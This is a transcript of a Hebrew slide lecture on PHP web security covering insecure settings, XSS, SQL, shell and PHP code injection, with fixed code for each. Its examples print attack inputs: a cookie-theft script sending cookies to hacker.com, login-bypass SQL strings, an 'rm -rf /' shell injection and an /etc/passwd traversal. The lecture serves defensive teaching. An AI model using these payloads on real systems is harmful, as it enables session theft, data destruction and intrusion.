PHP ואבטחה - חלק ראשון

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    Favorites, Groups & Events

    PHP ואבטחה - חלק ראשון - Presentation Transcript

    1. ‫, אפליקציות ווב ואבטחה‬PHP I ‫חלק‬ ‫שחר עברון‬ .Copyright © 2007, Zend Technologies Inc
    2. ‫מי? מה? מתי?‬ ‫•‬ ‫אבטחה ב- ‪ ,web‬וב- ‪ PHP‬במיוחד, היא נושא טעון‬ ‫‪ ‬מצד אחד, ה- ‪ web‬מכיל הרבה מאוד מידע, שחלק גדול ממנו הוא‬ ‫רגיש / אישי / בעל ערך )כזה שמשתלם לגנוב אותו(‬ ‫‪ ‬מצד שני, ה- ‪ web‬הוא סוג של ”מערב פרוע“ שבו אין חוקים והכל‬ ‫יכול לקרות‬ ‫‪ PHP ‬היא אחת השפות הפופולריות ביותר ב- ‪ ,web‬בייחוד אצל‬ ‫מתכנתים מתחילים שפחות מודעים לסכנות‬ ‫‪ ‬רוב האפליקציות שנכתבות ב- ‪ PHP‬הם תוכנה חופשית. לכן, קל יותר‬ ‫לאתר פרצות אבטחה‬ ‫‪ ‬בעבר, היו מספר נסיונות )לא מאוד מוצלחים( לפתור בעיות אבטחה‬ ‫ברמת השפה‬ ‫‪ PHP‬ואבטחה‬ ‫2|‬ ‫8002 ,91 ‪| J an‬‬
    3. ‫כללים בסיסיים‬
    4. ‫מה זה אבטחה ובשביל מה זה טוב?‬ ‫•‬ ‫בשביל לפתור בעיות אבטחה, חשוב קודם כל להבין מה זה‬ ‫בדיוק ”בעיות אבטחה“:‬ ‫‪‬‬ ‫אובדן פוטנציאלי של מידע רגיש‬ ‫‪‬‬ ‫אובדן פוטנציאלי של שעות עבודה‬ ‫אובדן פוטנציאלי של ‪uptime‬‬ ‫‪‬‬ ‫== אובדן פוטנציאלי של רווח‬ ‫‪‬‬ ‫•‬ ‫אבטחה היא אוסף של אמצעים שעלינו לנקות ע“מ למנוע‬ ‫או לצמצם אובדן פוטנציאלי של רווח‬ ‫‪ PHP‬ואבטחה‬ ‫4|‬ ‫8002 ,91 ‪| J an‬‬
    5. ‫גישה נכונה לאבטחת אפליקציות ווב‬ ‫•‬ ‫אפליקציה לעולם לא תהיה מאובטחת ב-%001‬ ‫‪ ‬וגם אם כן, זו תהיה טעות קונספטואלית לחשוב ככה...‬ ‫•‬ ‫גישת עומק – נקיטה של מספר אמצעים חופפים כדי להשיג‬ ‫אבטחה טובה יותר‬ ‫•‬ ‫מודעות למה שאנחנו לא מודעים אליו‬ ‫‪ ‬היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד %001‬ ‫מאובטח‬ ‫• == ארכיטקטורה יותר חשובה מאבטחה!‬ ‫‪ PHP‬ואבטחה‬ ‫5|‬ ‫8002 ,91 ‪| J an‬‬
    6. ‫לעולם אסור לבטוח במידע חיצוני!‬ ‫•‬ ‫אבל מה זה בדיוק מידע חיצוני?‬ ‫‪GET, POST, COOKIE‬‬ ‫‪‬‬ ‫‪FILES, SERVER‬‬ ‫‪‬‬ ‫‪ ,ENV‬בסיס נתונים, קבצים על הדיסק ‬ ‫‪‬‬ ‫“אם יש ספק – אין ספק!“‬ ‫‪‬‬ ‫•‬ ‫מה עושים עם מידע חיצוני?‬ ‫‪ ‬סינון – ‪ ,filtering‬בדיקת תקינות - ‪validation‬‬ ‫• רשימה לבנה – ‪ – whitelisting‬לדוגמה ‪ HTML Tags‬מותרים‬ ‫• רשימה שחורה – ‪ – blacklisting‬לדוגמה מילים אסורות בפורום‬ ‫‪ ‬חילוּף - התאמה לפורמט נדרש - ‪escaping‬‬ ‫‪ PHP‬ואבטחה‬ ‫6|‬ ‫8002 ,91 ‪| J an‬‬
    7. ‫סביבת ‪ PHP‬מאובטחת‬
    8. ‫‪display_errors‬‬ ‫•‬ ‫בפיתוח: ‪On‬‬ ‫‪ ‬קוד נקי לחלוטין משגיאות‬ ‫‪ ‬הודעות ‪ NOTICE‬מעידות לעיתים קרובות על ”חורי‬ ‫אבטחה“ )לדוגמה: הודעות על משתנים לא מאותחלים(‬ ‫•‬ ‫בזמן ריצה: ‪Off‬‬ ‫‪ ‬מניעה של זליגת מידע פנימי אל המבקרים באתר‬ ‫‪ ‬זה לא נראה טוב ;-(‬ ‫‪ PHP‬ואבטחה‬ ‫8|‬ ‫8002 ,91 ‪| J an‬‬
    9. ‫‪register_globals‬‬ ‫•‬ ‫כאשר פועל, ‪ PHP‬ירשום משתנים ב-‪ global scope‬באופן‬ ‫אוטומטי לכל משתנה ‪ GET, POST, COOKIE‬וכו'.‬ ‫•‬ ‫לא נמצא בשימוש רב בשנים האחרונות )מכובה כברירת‬ ‫מחדל מאז 2.4( אבל עדיין אפשר למצוא אפליקציות‬ ‫ש“סומכות“ על ‪.register_globals‬‬ ‫•‬ ‫פותח פרצות אבטחה פוטניאליות רבות – מאפשר ”הזרקה“‬ ‫של משתנים לתוך ה- ‪global namespace‬‬ ‫‪ ‬אם חייבים להתשמש – חובה לאתחל את כל המשתנים‬ ‫)‪(! E_NOTICE‬‬ ‫•‬ ‫הרגל רע גם מסיבות אחרות:‬ ‫‪ ‬קוד לא נייד )‪(portable‬‬ ‫‪ Deprecated ‬ב- 0.6 ‪PHP‬‬ ‫‪ PHP‬ואבטחה‬ ‫9|‬ ‫8002 ,91 ‪| J an‬‬
    10. ‫‪magic_quotes_gpc‬‬ ‫•‬ ‫אם מופעל, ‪ PHP‬יוסיף לוכסן )‪ (backslash‬לפני כל גרש )'(,‬ ‫גרשיים )”(, לוכסן אחורי )\\( ו- ‪ null‬שנכנסים ב- ‪GET, POST‬‬ ‫ו- ‪.COOKIE‬‬ ‫•‬ ‫“פיצ'ר“ שהיה אמור למנוע ‪ SQL Injections‬ברמת השפה‬ ‫•‬ ‫בפועל, מספק פתרון חלקי ביותר‬ ‫‪ ‬אין תמיכה בקידודים שונים‬ ‫‪ ‬אין תמיכה בכל בסיסי הנתונים השונים‬ ‫‪ ‬תמיד עדיף להשתמש בפונקציית ‪ escaping‬ייעודית‬ ‫•‬ ‫יש עוד סיבות לכבות חוץ מאבטחה‬ ‫‪ ‬רע מבחינת ביצועים‬ ‫‪ ‬לא פורטבילי, ייבוטל ב- 0.6 ‪PHP‬‬ ‫•‬ ‫בקיצור, לא להתבסס על ‪magic_quotes_gpc‬‬ ‫‪ PHP‬ואבטחה‬ ‫01 |‬ ‫8002 ,91 ‪| J an‬‬
    11. ‫*_‪allow_url‬‬ ‫•‬ ‫‪allow_url_fopen‬‬ ‫‪ ‬מאפשרת פתיחה של קבצים מרוחקים בעזרת ה- ‪stream wrappers‬‬ ‫הנתמכים )בד\"כ ‪ HTTP, FTP, SSH‬וכו'( בפונקציות התומכות בכך‬ ‫)‪ ,fopen, file_get_contents‬ועוד רבות(.‬ ‫‪ ‬פועל כברירת מחדל, כדאי בהחלט לכבות אם לא צריך‬ ‫•‬ ‫‪allow_url_include‬‬ ‫מאפשרת הרצה של קוד ‪ PHP‬מרוחק דרך ‪stream wrappers‬‬ ‫‪‬‬ ‫קיים מאז 2.5 ‪PHP‬‬ ‫‪‬‬ ‫כבוי כברירת מחדל‬ ‫‪‬‬ ‫‪Code injection waiting to happen‬‬ ‫‪‬‬ ‫איזה סיבה לעזאזל יש למישהו להפעיל דבר כזה?!?!‬ ‫‪‬‬ ‫‪ PHP‬ואבטחה‬ ‫11 |‬ ‫8002 ,91 ‪| J an‬‬
    12. ‫התקפות הזרקה‬ Injection Attacks
    13. ‫‪Cross-Site Scripting - XSS‬‬ ‫•‬ ‫הזרקה של קוד ‪client-side‬‬ ‫‪HTML ‬‬ ‫‪CSS ‬‬ ‫‪JavaScript ‬‬ ‫•‬ ‫אחת החולשות הנפוצות ביותר‬ ‫•‬ ‫התוקף שותל קוד זדוני שיפורש ויוצג / יופעל ע“י הדפדפן‬ ‫של הקורבן‬ ‫•‬ ‫יכולה לשמש כ“מקפצה“ להתקפות נוספות – השחתה,‬ ‫‪ ,phishing, session hijacking‬גניבת סיסמאות וכו'‬ ‫•‬ ‫קבועה – ‪ persistent‬לעומת זמנית – ‪non-persistent‬‬ ‫‪ PHP‬ואבטחה‬ ‫31 |‬ ‫8002 ,91 ‪| J an‬‬
    14. ‫ - דוגמה‬XSS • XSS -‫כל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל‬ <body> <h1>Welcome to my site</h1> <form> <fieldset title=\"Search\"> Search for: <input type=\"text\" name=\"q\" value=\"<?php echo (isset($_GET['q']) ? $_GET['q'] : ''); ?>\" />&nbsp; <input type=\"submit\" value=\"Search\" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for \"<?php echo $_GET['q']; ?>\":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> </body> ‫ ואבטחה‬PHP | 14 | J an 19, 2008
    15. ‫ - דוגמה‬XSS • :JavaScript ‫ בעזרת הזרקת קוד‬session ID ‫גניבת‬  <script>alert(document.cookie);</script>  <script>i=new Image(); i.src='http://hacker.com/owned.php?' + document.cookie;</script> ‫ ואבטחה‬PHP | 15 | J an 19, 2008
    16. ‫‪Cross-Site Scripting - XSS‬‬ ‫•‬ ‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫חילוף ייעודיות:‬ ‫‪htmlspecialchars() ‬‬ ‫‪htmlentities() ‬‬ ‫•‬ ‫במקרים בהם רוצים להרשות ‪ ,HTML‬חובה לסנן את הקלט‬ ‫לפי \"רשימה לבנה\"‬ ‫‪ ‬להרשות רק תגים מסויימים - לדוגמה ‪strong, em, u, div, a, span‬‬ ‫‪ ‬להרשות רק ‪ attributes‬מסוימים - לדוגמה ‪ href‬ולא ‪style‬‬ ‫‪ ‬יש ספריות מוכנות לסינון ‪HTML‬‬ ‫• ‪http://htmlpurifier.org‬‬ ‫‪ ‬אפשר לבצע לבד בקלות בעזרת ‪ tidy‬או ‪DOM‬‬ ‫‪ PHP‬ואבטחה‬ ‫61 |‬ ‫8002 ,91 ‪| J an‬‬
    17. ‫ – דוגמה מתוקנת‬XSS • ‫ לפני הדפסה‬htmlspecialchars -‫שימוש ב‬ Search for: <input type=\"text\" name=\"q\" value=\"<?php echo (isset($_GET['q']) ? htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>\" />&nbsp; <input type=\"submit\" value=\"Search\" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for \"<?php echo htmlspecialchars($_GET['q']); ?>\":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> ‫ ואבטחה‬PHP | 17 | J an 19, 2008
    18. ‫‪SQL Injection‬‬ ‫•‬ ‫הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס‬ ‫הנתונים ויפורש שם כקוד ‪SQL‬‬ ‫•‬ ‫יכול להוות בסיס לפעילויות שונות, לדוגמה:‬ ‫‪‬‬ ‫עקיפה של סיסמאות ושינוי הרשאות‬ ‫‪‬‬ ‫שינוי נתונים‬ ‫השחתה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫מחיקה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫•‬ ‫בעיה נפוצה מאוד – הרבה מאוד אפליקציות ווב מעבירות‬ ‫קלט מהמשתמש אל בסיס הנתונים‬ ‫‪ PHP‬ואבטחה‬ ‫81 |‬ ‫8002 ,91 ‪| J an‬‬
    19. ‫ – דוגמה‬SQL Injection • ‫ ללא חילוף / בדיקה‬SQL -‫שליחה של מידע חיצוני כחלק מ‬ $username = $_POST['username']; $password = $_POST['password']; $sql = \"SELECT 1 FROM users \" . \"WHERE user = '$username' AND password = MD5('$password')\"; $res = mysql_query($sql); • :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ :‫ עקיפה של מנגנון הסיסמה‬ username=' OR '' = ' password=') OR MD5('') = MD5(' ‫, שינוי נתונים‬DOS ,‫ ניתן לבצע גם השחתה של בסיס הנתונים‬ .‫וסיסמאות ועוד‬ ‫ ואבטחה‬PHP | 19 | J an 19, 2008
    20. SQL Injection • :‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת חילוף‬ ‫ ייעודיות של בסיס הנתונים‬escaping ‫ פונקציות‬ mysql_real_escape_string • pg_escape_string • '‫• וכו‬ Casting to integer / float  PDO-<quote()  !‫ לא טוב מספיק‬addslashes()  • Prepared Statements PDO, MySQLi  ‫ בהרבה מקרים עדיף גם מבחינת ביצועים‬ ‫ ואבטחה‬PHP | 20 | J an 19, 2008
    21. ‫ – קוד תקין‬SQL Injection • mysql – ‫חילוף‬ $con = mysql_connect('....'); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = \"SELECT 1 FROM users \" . \"WHERE user = '$username' AND password = MD5('$password')\"; $res = mysql_query($sql); • PDO – ‫חילוף‬ $pdo = new PDO(\"mysql:dbname=mydb\", 'user', 'password'); $username = $pdo->quote($_POST['username']); $password = $pdo->quote($_POST['password']); ‫ ואבטחה‬PHP | 21 | J an 19, 2008
    22. ‫ – קוד תקין‬SQL Injection • Integer -‫המרה ל‬ $user_id = (int) $_GET['user_id']; $sql = \"SELECT * FROM users WHERE id = $user_id\"; • Prepared statement - PDO $pdo = new PDO(\"mysql:dbname=mydb\", 'user', 'password'); $stmt = $pdo->prepare( \"SELECT 1 FROM users \" . \"WHERE user = :username AND password = MD5(:password)\" ); $result = $stmt->execute(array( 'username' => $username, 'password' => $password) ); ‫ ואבטחה‬PHP | 22 | J an 19, 2008
    23. ‫‪Shell Command Injection‬‬ ‫•‬ ‫הזרקה של קוד אל \"מערכת ההפעלה\" תוך ניצול של‬ ‫פקודות ‪ PHP‬שמריצות פקודות מערכת‬ ‫‪ ‬אופרטור ‪(``) backtick‬‬ ‫‪ ‬משפחת )(‪exec‬‬ ‫•‬ ‫לא נפוץ מאוד – אבל חשוב מאוד להיזהר כאשר מכניסים‬ ‫פרמטרים לתוך פקודות אלו, מפני שהסכנות גדולות מאוד‬ ‫‪ PHP‬ואבטחה‬ ‫32 |‬ ‫8002 ,91 ‪| J an‬‬
    24. ‫ - דוגמה‬Shell Injection • ‫שימוש במידע חיצוני בפקודות מערכת‬ // Get a listing of a public directory $folder = $_GET['path']; echo '<pre>'; passthru(\"ls -l /ftp/public/$folder\"); echo '</pre>'; • :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ :‫ מחיקה של כל הקבצים שיש לשרת גישה אליהם‬ path=foo; rm -rf / :Denial of Service  path=foo; sleep 315360000 ‫ ...בעיקרון ניתן להריץ כמעט כל פקודת מערכת‬ ‫ ואבטחה‬PHP | 24 | J an 19, 2008
    25. ‫‪Shell Command Injection‬‬ ‫•‬ ‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫חילוף ייעודיות:‬ ‫‪escapeshellarg() ‬‬ ‫‪escapeshellcmd() ‬‬ ‫‪ ‬ההבדל ביניהם – השניה לא מחליפה רווחים‬ ‫•‬ ‫אם מכניסים קלט מהמשתמש לתוך פקודות מערכת, כדאי‬ ‫מאוד להשתמש ב- ‪ whitelist filtering‬ובווידוא שהקלט‬ ‫תקין‬ ‫‪ PHP‬ואבטחה‬ ‫52 |‬ ‫8002 ,91 ‪| J an‬‬
    26. ‫ – קוד תקין‬Shell Injection • ‫חילוף – פרמטר בודד‬ $folder = escapeshellarg($_GET['path']); echo '<pre>'; passthru(\"ls -l /ftp/public/$folder\"); echo '</pre>'; • ‫חילוף – כל הפקודה‬ $cmd = escapeshellcmd(\"ls -l /ftp/public/$folder\"); echo '<pre>'; passthru($cmd); echo '</pre>'; ‫ ואבטחה‬PHP | 26 | J an 19, 2008
    27. ‫ – קוד תקין‬Shell Injection • ‫סינון לפי רשימה לבנה‬ // White-list filtering: $allowed_paths = array( 'videos', 'images', 'music', 'books', 'uploads'); if (in_array($_GET['path'], $allowed_paths)) { $folder = $_GET['path']; echo '<pre>'; passthru(\"ls -l /ftp/public/$folder\"); echo '</pre>'; } ‫ ואבטחה‬PHP | 27 | J an 19, 2008
    28. ‫‪PHP Code Injection‬‬ ‫•‬ ‫הזרקה של קוד ‪ PHP‬לתוך התוכנית‬ ‫•‬ ‫פונקציות שצריך לשים אליהם לב:‬ ‫‪ ‬קריאות ל- ‪ include‬או ‪ require‬עם שם קובץ משתנה‬ ‫• רגיש בעיקר כש- ‪allow_url_include=On‬‬ ‫‪eval() ‬‬ ‫‪ preg_replace() ‬עם ‪/e‬‬ ‫‪create_function() ‬‬ ‫‪ ‬כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ, חשוב מאוד‬ ‫לבצע ‪ validation‬ו- ‪white-list filtering‬‬ ‫‪ PHP‬ואבטחה‬ ‫82 |‬ ‫8002 ,91 ‪| J an‬‬
    29. ‫‪ - PHP Code Injection‬דוגמה‬ ‫•‬ ‫קריאת קבצים ע“י ניצול ‪include‬‬ ‫;]'‪$tpl = $_GET['template‬‬ ‫;‪include 'templates/' . $tpl‬‬ ‫•‬ ‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה:‬ ‫‪ ‬קבלת רשימה של כל המשתמשים במערכת ההפעלה:‬ ‫‪template=../../../../../../../../etc/passwd‬‬ ‫•‬ ‫אם ‪ allow_url_include‬מופעל, קוד זה מאפשר‬ ‫הרצה של קוד ‪ PHP‬שרירותי על השרת‬ ‫‪ PHP‬ואבטחה‬ ‫92 |‬ ‫8002 ,91 ‪| J an‬‬
    30. ‫ – קוד תקין‬PHP Code Injection • :‫המנעות ע“י סינון לפי רשימה לבנה‬ $templates = array( 'blue' => 'templates/blue.phtml', 'aqua' => 'templates/aqua.phtml', 'ugly' => 'templates/ugly.phtml' ); $tpl = (isset($templates[$_GET['template']]) ? $templates[$_GET['template']] : 'templates/blue.phtml'); include $tpl; • ‫באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק‬ '‫ וכו‬include, eval ‫מפקודות כמו‬ ‫ ואבטחה‬PHP | 30 | J an 19, 2008
    31. ‫סיכום – התקפות הזרקה‬ ‫•‬ ‫התקפות הזרקה הם כנראה הנפוצות ביותר ב- ‪web‬‬ ‫‪ ‬החדשות הטובות: יחסית קל לאתר ולפתור אותן ‬ ‫•‬ ‫כל התקפות ההזרקה דומות באופיין, וגם באופן הטיפול בהן‬ ‫•‬ ‫\"דע מאין בא ה- ‪ data‬ולאן הוא הולך“‬ ‫‪ ‬האם אפשר לבטוח במקור הנתונים?‬ ‫‪ ‬מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?‬ ‫•‬ ‫טיפול בהתקפות הזרקה ע“י סינון קלט טוב רק במקרים‬ ‫מסוימים‬ ‫‪ ‬בד“כ חילוף )‪ (output escaping‬עדיף‬ ‫‪ PHP‬ואבטחה‬ ‫13 |‬ ‫8002 ,91 ‪| J an‬‬
    32. ‫שאלות?‬
    33. ‫בחלק ‪II‬‬ ‫•‬ ‫התקפות ‪Session‬‬ ‫‪Session Injection ‬‬ ‫‪Session Hijacking ‬‬ ‫•‬ ‫טעויות לוגיות ותכנותיות‬ ‫‪CSRF ‬‬ ‫‪ ‬חשיפת קבצים סטטיים‬ ‫•‬ ‫גישות ואמצעי אבטחה כלליים‬ ‫•‬ ‫אבטחה בסביבת ‪shared hosting‬‬ ‫‪ PHP‬ואבטחה‬ ‫33 |‬ ‫8002 ,91 ‪| J an‬‬
    34. ‫תודה רבה‬ ‫ושנה טובה!‬

    + Shahar EvronShahar Evron, 2 years ago

    custom

    2239 views, 0 favs, 2 embeds more stats

    הרצאה על PHP ואבטחה, זהו החלק more

    More info about this document

    CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

    Go to text version

    • Total Views 2239
      • 2167 on SlideShare
      • 72 from embeds
    • Comments 0
    • Favorites 0
    • Downloads 17
    Most viewed embeds
    • 62 views on http://php-israel.org
    • 10 views on http://www.php-israel.org

    more

    All embeds
    • 62 views on http://php-israel.org
    • 10 views on http://www.php-israel.org

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories